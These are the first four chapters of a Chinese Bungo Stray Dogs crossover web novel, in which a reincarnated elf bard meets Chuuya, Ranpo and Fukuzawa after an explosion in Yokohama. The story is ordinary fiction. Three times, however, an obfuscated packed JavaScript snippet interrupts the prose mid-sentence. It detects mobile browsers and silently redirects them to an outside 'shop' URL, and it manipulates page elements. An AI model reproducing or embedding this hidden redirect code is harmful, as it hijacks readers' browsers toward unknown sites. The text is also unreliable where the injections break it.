《开局镭钵街,但异能为上帝》 1. 《羔羊之死》·一 三天前。 “轰——” 突然之间的剧烈爆炸,让整个横滨都震颤了起来。 尤其是位于镭钵街的居民,他们对这种爆炸感受的要更为深刻和明显,毕竟—— 这爆炸就发生在他们家的边上啊!!! “跑啊,快跑!!” “往哪儿跑?到处都是火!” “滚开,我先跑!” 爆炸席卷着熊熊的火焰朝着周围的建筑物袭去,为了避免被波及,镭钵街的居民们在大晚上开启了与死神赛跑,一个比一个跑的快,一个也比一个要冷漠。 毕竟在镭钵街,没有人是纯粹善良的,大家都是艰难苟活下来的人,生死面前拉一个垫背的是及其正常的事情。 “啊——!” 一个穿着破旧肥大衣服的小女孩被身后奔跑而来的流浪汉给推倒在地,她摔在镭钵街破破烂烂的地面上,手脚都出现了划痕,短时间怕是无法站稳。 至于推倒女孩的流浪汉,他头都没回,他一边骂骂咧咧,一边继续靠着自己强壮的躯体去推搡更多的人给自己的逃命腾位置。 “滚开!让我先跑!不让开?小心我杀了你!” 诸如此类的话语从流浪汉的口中发出,他接二连三的推开了不少的人,本以为就能如此跑出去,却在即将离开这片区域的时候,遇上了硬茬。 他撞到了一个逆着人流走的少年。 流浪汉:“有病啊!你他*不长眼睛吗?!” 下意识地直接开骂,从那肮脏且黄牙遍布的口腔里面发出的污言秽让原本不打算计较少年皱起了眉毛。 “喂——我劝你嘴巴放干净点。” 听见少年带着怒意和克制的嗓音,流浪汉抬起了头,他刚想要不屑地说些什么,却在看到对面少年的时候愣在了原地。 站在他面前的少年看起来只有十三四岁,赭发在阳光下泛着亮眼的光泽,钴蓝色的眼眸中带着冷意,少年在深秋季节的横滨穿着深红色的连帽卫衣,双手插兜,眉心皱起,五官精致中带着甜美。 看到少年的这幅样貌,流浪汉内心本能的升起了贪婪和觊觎,但很快又反应过来对方是谁。 “你、你是……” 见流浪汉一副认出来自己的态度,中原中也眉梢微挑,说:“哦?你认识我?” 流浪汉迅速的点了点头,一张脸上全无刚刚的嚣张和不屑,他战战兢兢地吞咽了一下口水,说道:“我见过您,‘羊’的首领。” 作为经常流窜于横滨大街小巷的人,流浪汉有属于自己的生存法则,他经常会给一些□□提供消息换取钱财,也从一些□□人员那边知道普通人所不知道的东西。 而“羊”——位于横滨镭钵街的一大势力,虽然只由未成年人组成,但是却拥有据说不亚于“高濑会”、“格哈德安保服务”的武装力量,就恰好属于他知道的范围。 流浪汉虽然有些脑子不好使,但他也是不蠢的,他既然知道“羊”组织,知道中原中也是“羊之王”,那么他就清楚冒犯“羊”组织成员的人都不会拥有什么好下场。 “……” 中原中也看了一眼流浪汉后就没有说话,似乎在思考什么东西。 而流浪汉,他见中原中也突然不动弹了,泛黄的眼珠一转,内心就升起了逃跑的心思。 现在周围逃跑的人很多,他只要借助现场混乱的人群掩护,肯定能跑掉的! 就是现在—— 流浪汉的腿迈了出去,但伴随而来的不是生,而是从不远处展开的第二次爆炸。 “轰——!!” 滚滚的热浪和冲击从原来的基础上再次汹涌,直到吞噬整片地区。 …… 三天后。 “社长……我好渴,我要喝水!” 穿着侦探套装,因为车子半路抛锚,不得不步行前往委托地点的江户川乱步耷拉着肩膀,和身边的福泽谕吉抱怨。 相较于福泽谕吉沉稳、凝实的步伐,江户川乱步简直像是个刚刚学会走路的孩子,跌跌撞撞走路的样子让人看着都担心他下一步是不是会摔倒。 “……” 在养乱步之前,福泽谕吉也是没有想到过世界上会有如此娇气、自我又聪慧的孩子,听着乱步的抱怨,察觉到他越走越靠后、几乎停滞的步伐后,这位昔日的银狼大人,如今的全职保父停下了脚步,往后转头。 “我们才走了不到十分钟,乱步。” 他试图用数据表明乱步的娇气,但穿着侦探装的少年全然不管,只是继续站在原地,用拉长的语气表明自己休息的决心。 “十分钟已经很多了——” 见福泽谕吉还没有妥协的样子,乱步直接输出:“而且在车子坏掉的时候,我就说了要打车,是社长你不同意的,如果你同意了,我现在就不会因为走太多路而感到疲惫,也就不用停下来休息,可以直接前往委托现场,那些笨蛋市警也不用等待,社长你也不用迟到……” “行了。” 见乱步的吟唱一时半会儿根本停不下来,福泽谕吉只好叫停,他妥协的说道:“只能休息五分钟,你要喝水现在就去附近的商店购买,五分钟后必须回到这里,我们不能让市警等着我们,明白了吗?” 福泽谕吉试图用严肃的表情和犀利的眼神让江户川乱步明白事情的严重性,而这位少年侦探只是欢呼一声,然后就迅速的奔向了附近最近的一家商店。 “好耶!” 叮铃铃—— 随着商店的大门被推开,门口的风铃也随之响起,走进这家便利店的江户川乱步先是把目光放在商店内的饮料货架,他正思考着是喝橘子味的波子汽水还是喝荔枝味的波子汽水时,身后走进来了一男一女两个顾客。 男顾客先是伸了个懒腰,然后抱怨:“最近收尾的工作真是越来越累了。” 女顾客进门后先是下意识地看向店内的环境,发现店里只有一个戴着帽子的女店员和一个没什么威胁的少年之后放松了不少。 她路过江户川乱步的身边,朝着放了便利食品的货架走去,一边走一边说:“小声点吧,这也是没办法的,难道你还想要被老大骂吗?” 听见女顾客口中的“老大”,男顾客轻声嘶了一声,像是极为害怕,说道:“好吧。不过这工作量也太大了啊,都是那场爆炸……也不知道是哪个家伙弄出来的。” 女顾客选了两个饭团和一瓶盐汽水准备前往收银台。 “不知道啊,这次的爆炸规模就差快赶上七年前镭钵街诞生的那次了。” 男顾客:“说到镭钵街,这次的爆炸怎么没把那些‘羊’的崽子们炸死呢?真麻烦,尤其是那个‘羊之王’……” 眼见着同伴又开始收不住嘴,店里的人的目光朝着这边看来后, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17096539|195634||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 女顾客打了一下男顾客的肩膀,让他闭嘴。 “行了,闭嘴。麻烦结一下账。” “饭团需要加热吗?” 前台穿着店员制服,戴着鸭舌帽,但还是能隐隐约约看到一些漏出来银发的店员问道。 她叫铃木朔啊…… 看见店员身上的铭牌不知道为何,明明这个店员还戴着口罩,但就从对方露出精致的眉眼和周身柔和令人亲近的气质,女顾客就感觉对方肯定很漂亮。 她张口的语气柔和了不少,“嗯,要加热,谢谢。” “不用谢。”,店员笑眯眯地,宛若翡翠色泽的眼眸弯成漂亮的弧度,说:“诚惠八百日元哦。” 就在女顾客把八百日元递上,店员要把两个饭团拿去微波炉加热的时候,正在货架边上的男顾客却突然看着手机骂了一声脏话。 “*!” “怎么了?” 女顾客回头看他问,而男顾客迅速的把手机上的内容展示给她,咬牙切齿又小声地说:“那群……小鬼……货物……来不及了!” 虽然男顾客说的很小声,但凭借着种族优势,还是被铃木朔听见了。 小鬼指的是“羊”组织的人,不过货物是什么? “羊”组织的人偷走了货物? 虽然铃木朔还很想要知道后续的事情,但收银台前的两个顾客明显没了继续交流下去的意思,女顾客把八百日元留在收银台,匆匆的就带着两个冷掉的饭团和盐汽水走了,男顾客则什么都没有带走。 “结账——” 在那两个顾客离开后,这家店铺就只剩下了铃木朔和江户川乱步。 在经过长达两分钟的纠结后,江户川乱步最终还是选择拥抱了他更为认可的橘子味波子汽水。 他把波子汽水放在收银台上,玻璃的瓶底和桌面发出了清脆的碰撞声。 “两百日元。” 铃木朔看向江户川乱步,发现这个黑发客人的眼睛也是绿色的,只不过他一直眯着眼睛,不太能看的出来。 不愧是综漫世界,大家的眸色和发色都很有特色呢。 铃木朔心想。 “你才是最有特色的那个家伙吧?” 突然之间,正在从钱包里掏硬币的江户川乱步冷不丁的说了这么一句话。 铃木朔一开始还没意识到江户川乱步是在和自己说话,等他意识到后也仅仅是惊讶的把对方递过来的两百日元收到了收银台中。 他问乱步:“是我把心里话说出来了吗?” “没有,但是你的表情就算是笨蛋也能看懂吧?” 乱步看着面前和他年龄差不了多少,但是却足足高了他许多的银发少年,看着少年脸上的好奇和笑容,就像是刚刚突然说出那句话一样,乱步突然的掏出了一副黑色边框的普通眼睛戴上了。 异能力——【超推理】发动! “……?” 看着江户川乱步突然戴上眼镜后睁大的眼睛,铃木朔有些疑惑地歪了歪脑袋,有些不理解他这是什么意思。 是什么特殊的游戏吗? “你——” 江户川乱步的声音中多了些无机质的冷,他说。 “不是人类吧?三天前镭钵街的爆炸和你又有什么关系?” [叮!重要角色【江户川乱步】解锁成功!] [存活值+10] 2. 《羔羊之死》·二 如果一定要说的话,我,铃木朔,一定是世界上最倒霉的人之一。 三天前。 [转生通道错误——] [世界定位失败——] [启动紧急预案,降落地点确定——M-1229世界] 当被系统的紧急休眠仓包裹的时候,铃木朔就有了大事不妙的预感。 作为和转生系统签订了契约的人类,铃木朔原本的转生程序应该是前往剑与魔法的世界,也就是M-5343的西幻世界。 在那个世界,他会转生为一个婴儿,一步步的解锁天赋、修炼,然后完成系统给予他的职业任务,彻底获得自由。 [当前世界——M-1229] 但看着面前和西幻世界差距过大的世界,铃木朔就知道自己的未来被改变了。 该死的bug,该死的系统! 虽然内心咒骂,但铃木朔还是诚实的打开了系统,打算查看自己当前的个人信息,并准备查看系统的bug反馈。 [个人档案—— 姓名:铃木朔 性别:男 种族:精灵 职业:游吟诗人] 等等、为什么是精灵?为什么是游吟诗人? 他已经不在西幻世界了,这个世界甚至都没有魔法的设定,为什么他的种族和职业设定还是西幻世界的设定? 铃木朔不明白并大为震撼。 难道要他在一个综漫世界成为游吟诗人吗?这个职业任务怎么完成啊? ——[《关于转生系统002的bug处理报告》] 就在铃木朔纠结于职业任务该如何完成的时候,主系统那边关于转生bug的处理报告带来了更加糟糕的消息。 首先,由于这次转生通道的崩溃涉及主系统本身的错误程序,所以没有个二十年,转生通道无法再次开启,也就是说铃木朔至少要在这个世界再待上二十年。 其次,由于本世界没有魔力来源,转生为精灵族的铃木朔需要通过特殊的维生系统赚取存活值,直白的就是说,他需要上班才能活着,而上班的内容由维生系统定制,和铃木朔的职业相关。 最后,也是铃木朔在本次bug处理报告中唯一不清楚该把它定义为好还是坏的点。那就是鉴于M-1229的特殊,主系统给铃木朔补偿了一项能力和特制[哲学家],以帮助他更好的完成职业任务。 “游吟诗人和哲学家……” 看着这两个令他感到头痛的名词,铃木朔差点直接从横滨的鹤见川跳下去。 “喂——你在干嘛!” 为什么是“差点”,那当然就是在铃木朔即将自由落体的时候,一道身影不知道怎么冒出来,从后面拽住了他。 拽住他的少年身着深红色的连帽卫衣,赭色的头发在黄昏的照射下描上了金边,他看起来很生气,钴蓝色的眼眸瞪着铃木朔,但铃木朔明明是和他毫无关系的人。 “你为什么要生气呢?” 铃木朔诚恳而疑惑地问。 赭发少年把他拽上了岸,一边着急地看着他的身体状态,一边说道:“我为什么不能生气?你为什么要跳河?你想要死吗?” 从镭钵街的爆炸点一路跟着银发少年出来,本以为他是在探索世界,结果发现对方想要跳水,中原中也可以说是非常生气了。 偏偏铃木朔还点头,说:“是,我想要死。” 不想上班是人的本能啊。 不过好奇心是更重要的本能,于是铃木朔问:“你拉着我是不想要我死吧?为什么我不能死呢?” “什么什么的……”,赭发少年奇怪的看了他一眼,不明白他一个新生的人造生命体是怎么有这么多问题。 “能活着为什么要死?” 他如此笃定地说着,就像是面对真理。 而铃木朔只是看着他,翡绿色的眼眸在日渐下沉的夕阳中变得越来越亮。 [叮!重要角色【中原中也】解锁成功!] [存活值+10] [职业任务已触发,是否接取?] * 时间回到现在。 诶? 诶诶? 诶诶诶? 商店内,戴着帽子和口罩,身上所有能证明种族身份信息的内容都隐藏起来了的铃木朔一脸震惊,不明白自己的身份是怎么被看破的。 他明明已经藏的很好了啊!这几天没有一个人质疑过他人类身份的! 中也都承认了的! “那只是对一般人而言啦!” 面对铃木朔惊讶的态度和怀疑,江户川乱步只是摘下了鼻梁上的眼镜,说。 “我可是整个横滨,整个日本,乃至整个世界最厉害的名侦探,你再怎么藏,那些证据都会像小豆汤里的年糕一样,被我看的清清楚楚的!” 当然,最重要的一点是,现在距离镭钵街爆炸事情发生过去不到四天,时间还没能抹去痕迹,加上江户川乱步他们在市警那边得到了足够多情报,能让他推断出这些结果。 如果没有上述材料的支持,就算是江户川乱步,也没办法这么快的得出推理结果。 铃木朔点了点头:“原来如此。” 都是综漫世界了,有些聪明过头的重要角色也很正常,铃木朔懂的。 毕竟这个世界还有异能呢,有让人头脑变聪明的异能不是很正常嘛? 接受了“聪明人”设定的铃木朔迅速的从惊讶脸变为崇拜,他说:“原来如此,那你这么聪明的话,能知道我现在在思考什么吗?” 江户川乱步看了一眼铃木朔,先是哼哼了一声,然后才说:“当然了!不就是‘羊’嘛!” 这家伙只有在听见和“羊”相关的内容时才会抬起头,这么明显的线索,乱步怎么可能发现不了? “嗯嗯!之后呢!” 铃木朔眨巴眨巴眼睛,看着乱步。 乱步看着面前这家伙,觉得这家伙明明长得那么亲切,一举一动却都透露出“得寸进尺”这几个字。 “之后……之后的事情你自己想啊!” 江户川乱步不想掺和进自己不感兴趣的事情上面,而且他对小孩子们组建的组织没有一点兴趣,小孩就像是海边的海鸥一样,疯狂又愚蠢。 “而且你还没回答我的问题呢!明明是我先问你的吧!” 江户川乱步不高兴地说。 这位穿着侦探装的少年明明从头脑和生理年龄上完全超越了“小孩”这个范畴,但无论言行举止都表现的像是一个孩子。 和中也完全相反呢。 铃木朔心想。 虽然看江户川乱步的表现,铃木朔有些遗憾于无法白嫖一些线索,但既然江户川乱步是系统认证的重要角色,并且提供了他十点存活值的份上,他还是决定回答江户川乱步先前的问题。 “我……” 叮铃铃—— 商店的门再次被推开,从外面走进来穿着羽织的男人打断了铃木朔的回答。 “乱步,还没买好吗?我们要走了。” 在外面等了五分钟又三 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17096540|195634||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 十七秒的福泽谕吉终究还是选择进入这家商店催促江户川乱步。 相较于还是个“孩子”的乱步,福泽谕吉明显要更为成熟,更不动声色,他进门时就隐晦而巧妙地将店内的环境包括人都观察了一遍,然后把目光落在了乱步的身上。 发生什么事情了吗? 作为一起生活了几年的监护人,福泽谕吉能看出江户川乱步此刻的状态并不对,所以用眼神向他询问。 江户川乱步指着铃木朔,说:“我在问他问题,他是爆炸的幸存者。” 福泽谕吉将目光看向了收银台内的银发少年,而铃木朔此刻也在看着他。 毕竟。 [叮!重要角色【福泽谕吉】解锁成功!] [存活值+10] 这又是一个重要角色啊! 铃木朔看着福泽谕吉的翡绿色眸子闪闪发光,主动地说道:“您好,我是铃木朔。” 福泽谕吉其实不太明白铃木朔为什么这么热情,但他还是礼貌的略一点头,说道:“你好,我是福泽谕吉,武装侦探社的社长。” “江户川乱步,武装侦探社的侦探。” 因为社长进行了自我介绍,江户川乱步也跟着进行了自我介绍。 三人就在这不算狭小但充满了各种货物的商店内面面相觑,过了一会儿,嚷嚷着“为什么突然不说话了”的江户川乱步打断了这种沉默。 江户川乱步看着铃木朔,理直气壮的要求,“别耽误时间了,你快回答我的问题!” 什么问题?关于三天镭钵街的那场爆炸吗? 福泽谕吉在内心思考。 “关于那场爆炸,我也不是很清楚。” 铃木朔简单的回答着,他的表情被口罩隐藏,但江户川乱步能看出他并没有撒谎。 “我一睁眼就出现在了那里,周围都是火焰和冲击导致的气流,为了走出那里,我可是差点被烧成焦炭呢。” ——差点被烧成焦炭。 看着说出这句话的银发少年,江户川乱步撇了下嘴,收回了目光。 像是三天前那种程度的爆炸,爆炸中心的温度可以达到5000k,甚至更高,就算是爆炸边缘,温度也有几千开尔文,这种温度下,就算是熔点最高的金属都会熔化,但铃木朔却完好无损,身上看不出一处烧伤的痕迹。 “这可不是差点被烧成焦炭的样子啊。” 江户川乱步嘟囔着,他觉得铃木朔这家伙就是一个狡猾的泥鳅,诚实的不完整,但没关系,名侦探乱步大人迟早会知道真相的。 和突然之间就充满了斗志的少年名侦探不同,福泽谕吉对当下的情况处于一种半懂不懂的状态,他想要询问铃木朔一些关于爆炸的事情,但铃木朔也说了“他也不是很清楚”,虽然这句“不是很清楚”也可能是假话,但强迫审问也并不是这位社长大人的风格。 “这位铃木君……” 最终,福泽谕吉还是斟酌了一下词汇,开口打算在从铃木朔的身上问出点关于爆炸案的情报。 叮铃铃—— 商店门上的风铃却第三次响了起来,一个穿着暗绿色机车夹克,赭色短发,右手带着蓝色手环的少年走了进来。 “喂,铃木,我来接你下班了。” 明明现在的季节是树木枯黄的深秋,但室内的人却觉得似乎有一股属于夏天的风吹了进来。 “嗯,中也再等我一会儿,我还没到下班的点呢。” 轻快的语调,上扬的眼角,江户川乱步第一次发现铃木朔也能笑的如此真诚。 3. 《羔羊之死》·三 发现铃木朔对中原中也来说完全是个意外。 当时在镭钵街爆炸现场的时候,他没想到爆炸会二次爆发,所以没有丝毫准备的,他被炸飞了。 但这种爆炸对强悍的异能力者来说,并不是特别难以应对的存在,所以他很快的就摆脱了冲击。 “救命!!” “救救我!!” 虽然自己摆脱了爆炸的危险,但还有很多普通人却依旧身处危险中,听着那些人的求救,中原中也终究是冲了出去。 而为了救他们,中原中也把自己搞得有些狼狈。 他原本干净的红色卫衣被划破,满身都是灰尘,就连嘴角,都留下了被崩飞的碎石留下的划痕。 “不对,我为什么要救你这样的渣滓啊?我脑子有病吗?” 已经救完人之后,中原中也并没有看那些或痛哭流涕,或拼命感谢自己的人们,而是有些嫌弃地看向人群中那个刚刚骂过他的流浪汉,一脸的自我怀疑。 这种明显的渣滓,让他去死就好了啊。 中原中脸上浮现了一些类似后悔的情绪,而就是他露出这个表情后,原本一脸惶恐、劫后余生的流浪汉露出了更为恐惧的表情。 流浪汉拼命的道歉,几乎是连滚带爬地朝着中原中也跑去。 “对不起!对不起对不起……请不要杀我!我很有用的,我能提供情报,我知道很多的,关于GSS、港口□□……” “……搞什么啊。” 看着宛若奇行种一样爬来的流浪汉,中原中也先是沉默后退,然后就用一种莫名奇妙的表情看向流浪汉,不明白他为什么突然要露出那种恐惧的表情。 难道他以为自己会真的杀了他吗? 虽然在镭钵街的经历已经让中原中也明白了残酷的社会生存守则,明白敌人不会因为你的手下留情而仁慈,但他也没有残酷到会因为几句谩骂就把一个陌生人杀死吧? 赭发蓝眸的少年还是过于年轻,他并不知道,当他救下流浪汉的那一瞬间,当他展现出超出常人异能力时,他就已经代替“爆炸”,成为了掌管流浪汉生死的“上帝”。 而上帝是不可忤逆,不可反抗的,只能求得宽恕和怜悯。 “沙沙……沙沙……” 就在流浪汉还在不停忏悔,而中原中也感到莫名其妙且不可理喻的时候,有人就那么突兀的出现了。 “有人、有人从爆炸里面走出来了!” 一开始只是一个人看见了那个人,后面因为大喊,陆陆续续所有人都看向了那边,包括中原中也。 那种程度的爆炸里面能活着出来,是异能者吗? 中原中也思忖着,他的目光并没有掩饰的放在出来的那个人身上,观察着他的一举一动。 看起来一米七上下的男性,穿着白色的袍子,没穿鞋,走路略有踉跄但除了脚上的划痕,没看见明显的外伤,脸被银色的长发遮住了看不见,只能透过裸露的苍白皮肤看出他之前生存的环境应该不怎么见光。 这样的人,在镭钵街没见过啊。 中原中也敢肯定,如果是出生自镭钵街的人,是不可能有那种苍白而脆弱的皮肤的,因为这是那些尊贵的大人们才拥有的“奢侈”。 所以他是谁呢? 如果是半个小时之前,中原中也绝对不会选择去探究这个问题,因为没必要探究一个陌生人,但现在为了迅速摆脱举止行为奇怪的流浪汉,他选择去探究和观察。 而这一观察,就被他发现了一些熟悉感。 同样的诞生于未知的爆炸,同样对世界展露了懵懂,还有同样的异常…… “喂——你干嘛呢!” 愤怒的伸手抓住试图跳河的银发少年手的一瞬间,中原中也也看见了属于少年身上“非人”的部位。 那是一双奇怪的耳朵。 明明只是这么一个小小的部位,但中原中也却能断定面前的人是他的同类。 这是本能吗? 中原中也觉得不是,铃木朔也知道身为人类的中原中也没有这种本能。 …… “唔,镭钵街的‘羊之王’。” 看见商店内出现的赭发少年,江户川乱步没有障碍的就脱口而出了对方的身份。 福泽谕吉也没见过“羊之王”,但听过对方的事情,但从某种程度上来说,他对庇护了不少镭钵街少年少女们的“羊”的首领还是蛮赞赏的。 “就是他吗……” 就在福泽谕吉和江户川乱步用一种观察的视角看着中原中也的时候,这位赭发少年也在看着他们。 “他们是谁,铃木?客人吗?” 中原中也皱着眉看着门口站着的一大一小,敏锐的从这两人的身上察觉出了不属于镭钵街的气息。 那个大的,一看就是杀手或者武士吧,气息和体态无论怎么看都是强者。至于那个小的眯眯眼的家伙,中原中也总觉得自己在进门的一瞬间被他看穿了。 又点恶心,又有点讨厌啊。 中原中也如此评价着,然后抬起头想要获得铃木朔的回答,却听见站在收银台的银发少年用一种纯然的语气在说—— “中也好像炸毛的小猫啊。” 小小的,年幼的一只幼猫,因为感受到了更大体型的捕食者威胁的气味,所以即便对方还什么都没做,就已经提前弓背炸毛了。 中原中也:“……你这家伙在说什么啊!” 双耳通红,对这种话毫无抵抗力的赭发少年瞪了一眼铃木朔。 铃木朔只是弯着眼睛笑了一下,然后他对中原中也介绍道:“这位是福泽谕吉先生,是武装侦探社的社长先生,他是来找乱步君的,而这位穿着侦探服的少年就是乱步君,全名叫江户川乱步,是个侦探。” 武装侦探社什么的,没听说过。 “哦。” 干巴巴的应了一声之后,中原中也听见铃木朔继续说话。 “这两位只是普通的客人啦,不过我后续可能有委托要交给武装侦探社,所以能给我一个联系方式吗?” 江户川乱步的身上可能有糖果,可能有拼图碎片,甚至可能有折纸飞机,但就是不太可能有名片。 “可以的,这是侦探社的名片。” 所以,是身为社长的福泽谕吉把名片交给了铃木朔。 等那对奇怪的侦探组合离开之后,中原中也总算按捺不住的询问铃木朔。 “你要委托他们?委托什么?” 因为职业任务不是一时半会儿能完成的,所以系统也允许铃木朔用一些普通的工作来增加自己的存活值,比如在这种便利店上班一天就能增加一天的存活值。 银发少年正在做下班前交接工作的准备,他听见中原中也的问题,稍微思考了一下,说。 “委托一些调查吧。” 中原中也:“什么调查?” 难道是关于铃木朔过去的事情? 虽然在桥上抓住铃木朔的那一瞬间,中原中也很冲动,但他又不是几岁的小孩子了,不可能蠢到共同度过了几天,还发现不了铃木朔身上有秘密。 只是铃木朔一直很坦诚,他和中原中也说“到了合适的机会就会告诉中也全部的”,所以中原中也才一直没有询问铃木朔的秘密。 “如果没办法说的调查的话,就不用说了,不过那两个人看起来并不是普通人,你要是想要委托他们的话,需要注意一点。” 中原中也严谨地这样说。 “注意一点什么?我弄好了,我们走吧,中也!” 卡点下班是铃木朔每天上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17096541|195634||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 班的唯一乐趣,因此他没注意到中原中也说了什么,等时间一到,他就欢快的换下了店员的服饰,摘下了口罩,走到中原中也的面前,准备和他一起回“羊”。 银发少年歪着头看向中原中也,无论是露出的高挺的鼻梁还是较薄的、淡粉色的嘴唇,都说明了他是彻底的深邃、立体的西方人长相。 “嗯……好,不过你还是戴上口罩吧。” 中原中也看了一会儿铃木朔的脸后,建议。 长得好看不是问题,有中原中也在,能护住铃木朔,不可能会让他被路上的小混混搭讪,但是铃木朔这幅典型的西方人长相,又是在这段气氛紧张的时间出现,走在路上是很可能会被市警盘问的。 而铃木朔到现在为止还是个黑户。 “可是口罩很闷诶,好吧。” 没能坚持两秒,铃木朔就在中原中也的目光下选择了继续戴上口罩。 他们回到“羊”的路途还算平静,只不过一回到“羊”的地盘,中原中也就迅速被围住了。 而铃木朔站在羊群的外围,翡绿色的眸子看着里面所有人的一举一动,突然有了记录故事的灵感。 他决定成为一名游吟诗人。 而故事的主人公—— “中也!” “太好了,中也你终于来了!” “中也你不知道,白濑他们被抓了!是GSS的人抓走他们的,中也你快点去救他们,就像是之前那样!” 看着被焦虑的、无能的小羊们围住的中原中也,铃木朔决定让“牧羊人”成为主角。 —— 前言:这是一个濒死的年轻牧羊人告诉我的故事。 【我是一个普通的牧羊人。】 【一出生,我就被父母告知他们养不起我,所以在能站立说话后,我被卖给了农场的主人,用几枚钱币的价格,我成为了这里众多的牧羊人之一。】 【农场的生活很枯燥乏味,不少牧羊人会偷懒喝酒,酒醉后,他们就会嘲笑我愚蠢、不知变。】 【“反正羊又丢不了,为什么要一直傻傻的看着呢?稍微的休息一下,没人会发现的。” 他们这么说着。】 【“算了吧,我还是老老实实的看好羊吧。”】 【虽然所有人都那么说,但天性温驯如羊的我还是不敢偷懒,于是我就在这日复一日的枯燥生活中,在时不时的嘲讽中,迎来了自己的成年。】 【“你是一个优秀的牧羊人。”】 【因为无人庆祝我的诞生,也无人庆祝我的成年,我只能在牧羊的间隙,自己庆祝自己。】 【“你是一个优秀的牧羊人。”】 【而当我的庆贺落下,不属于我的声音传了出来,这句重复着我话语的声音像是年幼的,还在牙牙学语的婴儿发出的,但我的身边除了羊,没有任何人。】 【“你、你是谁?你是恶魔吗?”】 【察觉到这道声音的怪异的我惊恐极了,因为我听教堂的神父说过,世界上有会诱导人犯罪堕落的恶魔,难道我是遇到了这种恶魔吗?】 【我会被吃掉吗?但是我明明是最虔诚的信徒啊?我甚至连牧羊都不敢偷懒的!】 【“恶魔?什么是恶魔?”】 【就在我惊恐万分的时候,一道柔软温暖的躯体与我碰撞,我知道它,那是一只刚出生不久的小羔羊,是羊群中最小的孩子。】 【而此刻,这只羊群中最小的孩子正用它柔软的毛发蹭着自己,用那双清澈的,温顺的,欣喜的眼眸看着自己。】 【我突然意识到——】 【说话的不是恶魔,而是我面前的羔羊。】 【我不再是一个普通的牧羊人,我听懂了羊的语言。】 -《上帝羔羊之死·第一篇》 4. 《羔羊之死》·四 “你这样的家伙,为什么要留在‘羊’?” 当听见白濑说的这句话时,铃木朔正在喝水。 他在商店的工作是一周可以休息一次,所以今天休息的铃木朔就打算把前几天搜集的故事的灵感写下来。 只不过家里的纸笔好像不够用。 铃木朔想也知道,毕竟“羊”的众人连学都没上过,又怎么会储存纸笔这种“无用的东西”。 “白濑觉得我是什么样的家伙?” 铃木朔抬起头,笑着问面前的人。 因为前几天偷窃被GSS抓住,白濑的脸上到现在都还有未愈合的伤口,他现在整张脸都精彩极了,看上去像是未调和的油彩一样。 白濑总觉得铃木朔在用表情嘲笑他的狼狈和不堪,但是偏偏这家伙总是习惯用那种无辜的笑容来欺骗众人,让所有人都觉得他是个性格温和的好人。 “当然是虚伪的骗子!” 白濑恶狠狠地说。 “你骗了中也,骗了省吾,骗了所有人!你根本不是什么无家可归的人,我都看见了,你前几天进入了一个很豪华的房子里!” 因为“羊”并没有那么充足的资源,所以大部分的成员都是几个人居住在一个房间内的,中原中也原本因为是“羊之王”能拥有一间属于自己的房间,现在在铃木朔来了之后从独居变成了和他一起住。 白濑在和铃木朔说话的时候,中原中也就在稍微远一点的地方——他正在把这次外出黑吃黑获得的东西分给同伴。 [狼群狩猎后也是由头狼分配猎物的。] 铃木朔看着不远处的场景心想,而就在他准备收回视线的时候,正在分配食物的中原中也却突然转过了头,一双明亮的钴蓝色眼眸就这么和铃木朔对视上了。 ——怎么了? 注意到铃木朔视线,并发现他身边有白濑后,中原中也微微皱起眉,用眼神询问铃木。 他知道白濑一直对铃木朔有意见来着,从那天中也把铃木朔带回来开始,白濑就一直试图让中也把铃木朔驱赶。 难道是白濑觉得说不动自己,决定去说服铃木,让他自己离开吗? 中原中也脑海里转了一圈,心情有些急躁起来,他所有的情绪都被铃木朔看见了,于是他摇了摇头。 ——没事。 传递出这样的消息后,铃木朔又看向白濑,说道。 “我是有事情才去的租界,我可没钱入住那种大房子,而且、” 铃木朔笑眯眯地指了白濑,指了不远处正在等待分配的“羊”的众人,最后再指了指自己,说。 “如果我真的是骗子,小偷、强盗、骗子,不是很适合待在一起吗?” 卑鄙是卑鄙者的通行证,高尚是高尚者的墓志铭。*在镭钵街,在“羊”,善良的好人是活不下去的,所以大家都是卑鄙的人,就算你来到这里之前不是,但为了生存,你会是的。 “你——” 白濑愤怒地指着铃木朔,没读过书的他并不知道如何反驳对方。 因为白濑的内心也认可“小偷、骗子、强盗”的概念,如果他承认铃木朔是骗子,那就意味着对方是可以待在“羊”的,是有资格共同生存的卑劣者;但是如果他想要拒绝和铃木朔一起生存,那么他就要推翻铃木朔是个骗子的结论,那么不是骗子的铃木朔又凭什么要离开“羊”呢? “多读点书吧,白濑。” 拍了一下白濑的肩膀,留下一句忠告之后,铃木朔朝着中原中也的方向走去。 